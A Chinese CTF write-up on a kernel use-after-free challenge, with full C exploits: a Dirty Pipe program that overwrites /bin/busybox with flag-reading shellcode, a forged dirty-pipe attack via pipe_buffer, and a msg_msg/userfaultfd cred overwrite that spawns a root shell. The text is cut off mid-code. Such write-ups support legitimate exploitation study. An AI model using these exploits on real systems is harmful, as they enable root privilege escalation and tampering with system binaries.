【slab/0x40 UAF】TPCTF2023 - core 一题多解

前言

这题据说比赛被非惨了,但是笔者比较菜,比赛的时候没有正规做出来并且也没有发现非预期,乐。其实比赛的时候一直在纠结为啥 free obj 没有 freelist,哎,陷进去了,我的 Root 宝贝。

笔者赛后用两种【常规】方式成功复现,第一种方法是利用 pipe 去构造 dirty pipe 覆写 busybox 拿 flag(其实作者给的内核版本本身就有 dirty pipe 漏洞,这里笔者只是为了复习这里利用技巧而复杂化了);第二种方法是利用 msg_msg 去进行任意读写从而覆写 cred 进行提权。

这里笔者还尝试用 USMA 进行利用,理论和调试上都可行,但是最后发现普通用户无法创建新的命名空间,从而导致无法创建 AF_RAW 的 socket,固利用失败,但笔者最后也会提一下该思想。

漏洞分析

保护:开了 kaslr、kpti、smep、smap。测试发现其开了 SLAB_FREELIST_RANDOM,但是没有开 cg,所以这里可以选择多种结构体进行利用。题目采用的是 slab 分配器。

驱动模块 baby.ko 实现了一个增、删、改菜单。

漏洞点:

在 add 的时候,存在数组越界,可以将一个 obj 地址写到 heap_var[15] 处,而 heap_var[15] 刚好是 heap_var[0] 的 tag 位置。

并且在 delete 的时候,并没有清楚 obj 地址,只是清除了其 tag,在进行释放、修改时会检测 tag 是否存在:

所以这里就存在 0x40 大小的 UAF。即:

        1)add 一个 0x40 大小的 obj0

        2)释放 obj0,其 tag 被清除

        3)利用数组越界,写一个 obj 地址到 obj0 的 tag 位置

 但是这里限制了 add 的次数为 5 次,其刚好够我们构造一次 UAF。所以题目转换为:一次 0x40 大小的 UAF,有任意写该 UAF obj 的能力

漏洞利用

这个题目本身的问题的就大,其中内核本身没 patch,存在 dirty pipe 漏洞(调着调着发现不对劲,乐),然后还有一些非预期就不说了。

splice 本身的漏洞 -- dirty pipe

关于 dirty pipe 漏洞,笔者在安全客上发表过一篇分析文章,这里就不再讲解原理,exp 如下

注:其中 elfcode 来自 Spirit 战队的 wp(懒得搞,直接抄现成的)

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#define ATTACK_FILE "/bin/busybox"

void err_exit(char* msg)
{
        printf("[X] %s\n", msg);
        exit(-1);
}

int main(int argc, char** argv, char** env)
{

        int fd;
        int pipe_fd[2];
        loff_t offset;
        char buf[PAGE_SIZE];

        fd = open(ATTACK_FILE, O_RDONLY);
        if (fd < 0) err_exit("Can't open target file");
        if (pipe(pipe_fd) < 0) err_exit("Can't create pipe");
        for (int i = 0; i < 16; i++) if (write(pipe_fd[1], buf, PAGE_SIZE) < 0) err_exit("Can't write pipe");
        for (int i = 0; i < 16; i++) if (read(pipe_fd[0], buf, PAGE_SIZE) < 0) err_exit("Can't read pipe");

        offset = 0;
        if (splice(fd, &offset, pipe_fd[1], NULL, 1, 0) <= 0) err_exit("Failed at splice");

        unsigned char elfcode[] = {
            /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
                0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01,
                0x48, 0xb8, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2f, 0x66, 0x6c, 0x50, 0x6a,
                0x02, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff,
                0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f,
                0x99, 0x0f, 0x05, 0xEB
        };

        if (write(pipe_fd[1], elfcode, sizeof(elfcode)) < 0) err_exit("Failed to write page cache");

        return 0;
}

效果如下:

假设 splice 不存在漏洞,构造 drity pipe

利用思路如下:

1)add 一个 obj0

2)释放 obj0,分配 user_key_payload 占据 obj0

3)利用数组越界写 obj0 从而构造好 UAF

4)堆喷 pipe,并 splice,将 page_cache 挂到 pipe_buffer 中

5)UAF 修改 user_key_payload 的 datalen 实现越界读

6)user_key_payload 越界读泄漏 kernel_offset 和 page_cache

7)key_revoke 释放 user_key_payload

8)堆喷 pipe 占据 UAF obj

9)UAF 修改 pipe_buffer 的 page 字段为 page_cache,并修改 flags 为 0x10,这里就相当于构造好了 dirty pipe

10)写管道即写 page_cache

exp 如下:成功率并不是 100%

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_packet.h>

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


struct note {
        int func_idx;
        int no_use0;
        uint64_t tag;
        char* ptr;
        uint64_t no_use1;
};


int fd;
void add(uint64_t tag)
{
        struct note n = { .tag = tag };
        ioctl(fd, 0x1001, &n);
}

void dele(uint64_t tag)
{
        struct note n = { .tag = tag };
        ioctl(fd, 0x1003, &n);
}

void edit(uint64_t tag, char* buf)
{
        struct note n = { .tag = tag, .ptr = buf };
        ioctl(fd, 0x1002, &n);
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

struct pipe_buffer {
        struct page *page;
        unsigned int offset, len;
        const struct pipe_buf_operations *ops;
        unsigned int flags;
        unsigned long private;
};


#define KEY_SPRAY_NUMS 0x20
#define SPARY_PIPE_NUMS 0x30
#define FILE_NUMS 0x30
#define ATTACK_FILE "/bin/busybox"

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        //save_status();

        char desc[8];
        char buf[0x1000];
        int key_id;
        int pipe_fd[SPARY_PIPE_NUMS][2];
        int file_fd[FILE_NUMS];
        size_t kernel_offset;

        fd = open("/dev/baby", O_RDONLY);
        if (fd < 0) err_exit("FAILED to open dev file");

        for (int i = 0; i < FILE_NUMS; i++)
        {
                if ((file_fd[i] = open(ATTACK_FILE, O_RDONLY)) < 0)
                        err_exit("FAILED to open ATTACK_FILE");
        }

        memset(buf, 'A', sizeof(buf));
        puts("[+] ==> START <==");
        add(0); // 0
        add(1); // 1
        add(3); // 3
        add(7); // 7
        dele(0);
        key_id = key_alloc("Pwner", buf, 17);
        if (key_id < 0) err_exit("FAILED to key_alloc to get UAF chunk");

        for (int i = 0; i < FILE_NUMS; i++)
        {
                if (pipe(pipe_fd[i]) < 0)
                        err_exit("FAILED to spary pipe");
        }

        size_t pipe_sz = 0x1000 * (0x40 / sizeof(struct pipe_buffer));
        for (int i = 0; i < FILE_NUMS; i++)
        {
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, pipe_sz) < 0)
                        err_exit("FAILED to set pipe size to 0x40");
        }

/*
        for (int i = 0; i < SPARY_PIPE_NUMS; i++)
        {
                if (write(pipe_fd[i][1], buf, i+1) < 0) err_exit("FAILED to write pipe");
        }

        for (int i = 0; i < SPARY_PIPE_NUMS; i++)
        {
                if (read(pipe_fd[i][0], buf, i+1) < 0) err_exit("FAILED to read pipe");
        }
*/

        for (int i = 0; i < FILE_NUMS; i++)
        {
                loff_t offset = i;
                if (splice(file_fd[i], &offset, pipe_fd[i][1], NULL, 1, 0) <= 0)
                        perror("[X} FAILED to splice"), exit(EXIT_FAILURE);
        }

        add(15); // 15

        // splice to leak page_cache page addr
        memset(buf, 0, sizeof(buf));
        *(uint64_t*)buf = 0;
        *(uint64_t*)(buf+8) = 0;
        *(uint64_t*)(buf+16) = 0xf00;
        edit(0, buf);
        memset(buf, 0, sizeof(buf));
        kernel_offset = -1;
        int res = key_read(key_id, buf, 0xf00);
        hexx("key_read data len", res);

//      binary_dump("OOB_READ DATA", buf, 0xf00);
        size_t anon_pipe_buf_ops = 0xffffffff81a0ec80;
        size_t page_cache_pipe_buf_ops = 0xffffffff81a0fa60;
        size_t page = 0;
        size_t hit_idx = 0;
        for (int i = 0; i < 0xf00 / 8; i++)
        {
                if (*(uint64_t*)(buf+i*8) > 0xffffffff81000000 && (*(uint64_t*)(buf+i*8)&0xfff) == 0xa60)
                {
                        kernel_offset = *(uint64_t*)(buf+i*8) - page_cache_pipe_buf_ops;
                        page_cache_pipe_buf_ops = *(uint64_t*)(buf+i*8);
                        page = *(uint64_t*)(buf+i*8-16);
                        hit_idx = *(uint32_t*)(buf+i*8-4-4);
                        break;
                }
        }

        if (kernel_offset == -1) err_exit("FAILED to leak kernel offset");
        anon_pipe_buf_ops += kernel_offset;
        hexx("kernel_offset", kernel_offset);
        hexx("anon_pipe_buf_ops", anon_pipe_buf_ops);
        hexx("page_cache_pipe_buf_ops", page_cache_pipe_buf_ops);
        hexx("page_cache page", page);
        hexx("pipe_buffer hit_idx", hit_idx);
        int flag = 1;
        for (int i = 0; i < SPARY_PIPE_NUMS; i++)
        {
                if (i != hit_idx)
                {
                        close(pipe_fd[i][1]);
                        close(pipe_fd[i][0]);
                }

                if (i > SPARY_PIPE_NUMS / 2 && flag) key_revoke(key_id), flag = 0;
        }

        for (int i = 0; i < SPARY_PIPE_NUMS; i++)
        {
                if (i != hit_idx)
                if (pipe(pipe_fd[i]) < 0) err_exit("FAILED to spary to get UAF obj");
        }

//      key_revoke(key_id);
        for (int i = 0; i < SPARY_PIPE_NUMS; i++)
        {
                if (i != hit_idx)
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, pipe_sz) < 0) err_exit("FAILED to set pipe size to 0x40");
        }

//      memset(buf, 'A', sizeof(buf));
//      for (int i = 0; i < SPARY_PIPE_NUMS; i++)
//      {
//              if (i != hit_idx)
//                      if (write(pipe_fd[i][1], buf, i+1) < 0)
//                              err_exit("FAILED to write something to pipe");
//      }

//      puts("[+] Stop 0 here");
//      add(20);
        memset(buf, 'A', 0x1000);
        for (int i = 0; i < FILE_NUMS; i++)
        {

        //      loff_t offset = i;
                if (i != hit_idx) write(pipe_fd[i][1], buf, 1);
        //              if (splice(file_fd[i], &offset, pipe_fd[i][1], NULL, 1, 0) <= 0)
        //                      perror("[X} FAILED to splice"), exit(EXIT_FAILURE);
        }

        memset(buf, 0, sizeof(buf));
        *(uint64_t*)buf = page;
        *(uint64_t*)(buf+8) = 0x100000000;
//      *(uint64_t*)(buf+16) = page_cache_pipe_buf_ops;
        *(uint64_t*)(buf+16) = anon_pipe_buf_ops;
        *(uint64_t*)(buf+24) = 0x10;
//      puts("[+] Stop 1 here to edit");
//      add(0xff);
        sleep(1);
        for (int i = 0; i < 0x10000; i+=8)
        {
//              printf("[x] write i: %x\n", i);
                edit(i, buf);
        }
//      puts("[x] edit over");
        unsigned char elfcode[] = {
            /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
                0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01,
                0x48, 0xb8, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2f, 0x66, 0x6c, 0x50, 0x6a,
                0x02, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff,
                0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f,
                0x99, 0x0f, 0x05, 0xEB
        };

//      puts("[+] Stop 2 here to write pipe");
//      add(0xff);
        sleep(1);
        for (int i = 0; i < SPARY_PIPE_NUMS; i++)
        {
//              printf("%d\n", i);
                if (i != hit_idx)
                        write(pipe_fd[i][1], elfcode, sizeof(elfcode));
        }

//      puts("[+] Stop 3 here to STOP");
//      add(20);
        puts("[X] Never EXP END");
        return 0;
}

效果如下:

msg_msg 任意地址读写修改 cred

该利用方式其实就是 BitsByWill 和 D3v17 大佬在 corCTF 2021 中所展示的技巧。强烈推荐看原博客,虽然都是英文的,但是说实话,看图就懂了。不得不说,图画的是真好真形象🐂,跟你说一万句不如一张图(所以后面基本搬大佬的图片)。

利用思路如下:

1)add 一个 obj0

2)释放 obj0,分配 msg_msg 占据 obj0

3)利用数组越界写 obj0 从而构造好 UAF

4)堆喷 0x40 大小的 msg_msg,形成如下布局:

5)UAF 修改 UAF msg_msg 的 m_ts 实现越界读,这里会读出一些内核地址,笔者将其作为一个字典进行比对进而泄漏 kernel_offset。同时可以在堆喷的 msg_msg 中写上特殊的 TAG 进行定位

6)在msg_msg-2 消息队列上发送一个 0x2000-0x30-8 的消息,(这里的图片来自上述大佬博客,太难画了,所以直接piao了)即形成如下布局:

7)再次利用 UAF msg_msg 进行越界读,从而泄漏 MSG #1(QID #1) 的地址

8)UAF 修改 UAF msg_msg 的 m_ts 和 next 进行任意地址读取。这里我们利用其来泄漏当前进程的 cred。主要就是遍历 init_task 的 tasks 链表,其中以 qid 进行确认,当然也可以通过 comm 字段,随你。

9)泄漏了当前进程的 cred 后,考虑的就是如果进行对其进行写入。这里我感觉也是这个思路比较秒的地方。

将 msg_msg-2 消息队列上的消息脱链,即释放掉。

注意,slab 是后进先出,所以如果这时在创建一个消息队列并发送一个 0x2000-0x30-8 的消息其布局如下:

这里的 msg_seg 就是上面的 msg_msg,所以这里 msg_seg 的地址我们是知道的,所以我们可以利用 userfaultfd 将其卡住,然后在另一个线程中利用 UAF 将该 mes_seg 释放掉:释放的思路很简单,修改 UAF msg_msg 的 next 指向该 msg_seg,并修复下 m_list,然后接收消息即可。

这时如果在创建一个消息队列并发送 0x1038-0x30-8 的消息,则会形成如下布局:

 同理在其写 meg_seg 时利用 userfaultfd 将其卡住。

那这里着描述,接着我们先让 #1 继续执行,这时就会修改上面蓝色消息的 next 指针,这里我们可以将其修改为 cred;然后再让 #2 继续执行,这时就修改了 cred 的内容

exp 如下:成功率还可以,比较高

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/prctl.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_packet.h>

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct note {
        int func_idx;
        int no_use0;
        uint64_t tag;
        char* ptr;
        uint64_t no_use1;
};

int fd;
void add(uint64_t tag)
{
        struct note n = { .tag = tag };
        ioctl(fd, 0x1001, &n);
}

void dele(uint64_t tag)
{
        struct note n = { .tag = tag };
        ioctl(fd, 0x1003, &n);
}

void edit(uint64_t tag, char* buf)
{
        struct note n = { .tag = tag, .ptr = buf };
        ioctl(fd, 0x1002, &n);
}

#define SPARY_NUMS 0x20

struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_header {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

size_t check_table[] = {
  0xffffffff81276bc3,
  0xffffffff81276e2f,
  0xffffffff81b23a0b,
  0xffffffffc00021d0,
  0xffffffff81c41600,
  0xffffffff81c32d00,
  0xffffffff812cd7a0,
  0xffffffff812cd7c0,
  0xffffffff81c41520,
  0xffffffff812cd480,
  0xffffffff812cd4a0,
  0xffffffff81b3d486,
  0xffffffff81c4f2c0,
  0xffffffff81a15800,
  0xffffffff81b1b86e,
  0xffffffff81a29920,
  0xffffffff81b3f925,
  0xffffffff81c4f2a0,
  0xffffffff81a15860,
  0xffffffff81b3d47a,
  0xffffffff81c4f1c0,
  0xffffffff81b33afd,
  0xffffffff81c4f340,
  0xffffffff81b3f91a,
  0xffffffff81a15aa0,
  0xffffffff81c4f3a0,
  0xffffffff81b37a24,
  0xffffffff81b3d451,
  0xffffffff81b3d499
};

size_t leak_offset(size_t addr)
{
        size_t kernel_offset = -1;
        if (addr < 0xffffffff81000000) return kernel_offset;

        for (int i = 0; i < sizeof(check_table) / sizeof(size_t); i++)
        {
                if ((check_table[i] & 0xfff) == (addr & 0xfff))
                {
                        kernel_offset = addr - check_table[i];
                        break;
                }
        }
        return kernel_offset;
}

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

int qid;
char copy_src[0x1000];
char *uffd_buf1, *uffd_buf2;
uint64_t ll_next = -1, ll_prev = -1;
sem_t sem1, sem2, sem3;
size_t cred_cred = 0;
int pipe_fd[3][2];

void* handler_1(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler_1");
//              sem_post(&sem1);
                write(pipe_fd[0][1], "g", 1);
//              sleep(1);

                *(uint64_t*)(copy_src + 8) = 0;
                *(uint64_t*)(copy_src + +0x10) = 1;
                *(uint64_t*)(copy_src + +0x18) = 0x2000-0x30-8;
                *(uint64_t*)(copy_src + +0x20) = cred_cred - 8;
                *(uint64_t*)(copy_src + +0x28) = 0;
//              sem_wait(&sem3);
                char w[1];
                read(pipe_fd[2][0], w, 1);
                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
//              sem_post(&sem2);
//              sleep(1);
                write(pipe_fd[1][1], "g", 1);
        }
}

void* handler_2(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler_2");
                char w[1];
//              sem_post(&sem3);
                write(pipe_fd[2][1], "g", 1);
//              sem_wait(&sem2);
                read(pipe_fd[1][0], w, 1);
                sleep(1);
                memset(copy_src, 0, sizeof(copy_src));
                *(int*)copy_src = 1;
                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void* thread_handler1(void* arg)
{
        puts("[+] thread_handler1 start to work");
        int qqid = msgget(IPC_PRIVATE, IPC_CREAT|0666);
        if (qqid < 0) err_exit("FAILED to create a msg queue in thread_handler1");
        char buf[0x2000];
        struct msg_buf* msg = (struct msg_buf*)(uffd_buf1+0x30);
        msg->m_type = 1;
        if (msgsnd(qqid, msg, 0x2000-0x30-8, 0) < 0)
                err_exit("FAILED to send 0x2000 msg in thread_handler1");
        puts("[+] thread_handler1 over");
        return NULL;
}

void* thread_handler2(void* arg)
{
        char w[1];
        read(pipe_fd[0][0], w, 1);
//      sem_wait(&sem1);
        puts("[+] thread_handler2 start to work");
        uint64_t buf[0x30/8];
        char buff[0x2000];
        buf[0] = ll_prev;
        buf[1] = ll_prev;
        buf[2] = 1;
        buf[3] = 0x10;
        buf[4] = ll_next;
        buf[5] = 0;
        edit(0, (char*)buf);
        int res = msgrcv(qid, buff, 0x10, 1, IPC_NOWAIT|MSG_NOERROR);
        hexx("  msgrcv to free data size", res);
        int qqid = msgget(IPC_PRIVATE, IPC_CREAT|0666);
        if (qqid < 0) err_exit("FAILED to create a msg queue in thread_handler1");
        struct msg_buf* msg = (struct msg_buf*)(uffd_buf2+0x30);
        msg->m_type = 1;
        if (msgsnd(qqid, msg, 0x1038-0x30-8, 0) < 0)
                err_exit("FAILED to send 0x2000 msg in thread_handler1");
        puts("[+] thread_handler2 over");
        return NULL;

}


int main(int argc, char** argv, char** env)
{
        bind_core(0);
        //save_status();
        char desc[0x10];
        char buf[0x1000];
        char msg_buffer[0x2000];
        struct msg_buf* msg_msg;
        int msg_idx[SPARY_NUMS];
        size_t kernel_offset;
        char target[16] = { 0 };

//      sem_init(&sem1, 0, 0);
//      sem_init(&sem2, 0, 0);
//      sem_init(&sem3, 0, 0);

        for (int i = 0; i < 3; i++) pipe(pipe_fd[i]);

        strcpy(target, "XiaozaYaPwner");
        if (prctl(PR_SET_NAME, target, 0, 0, 0) != 0)
        {
                err_exit("cannot set name");
        }

        fd = open("/dev/baby", O_RDONLY);
        if (fd < 0) err_exit("FAILED to open dev file");


        pthread_t thr1, thr2;
        uffd_buf1 = (char*)mmap(0, 0x2000, PROT_WRITE|PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        uffd_buf2 = (char*)mmap(0, 0x2000, PROT_WRITE|PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        register_userfaultfd(&thr1, (void*)(uffd_buf1+0x1000), 0x1000, handler_1);
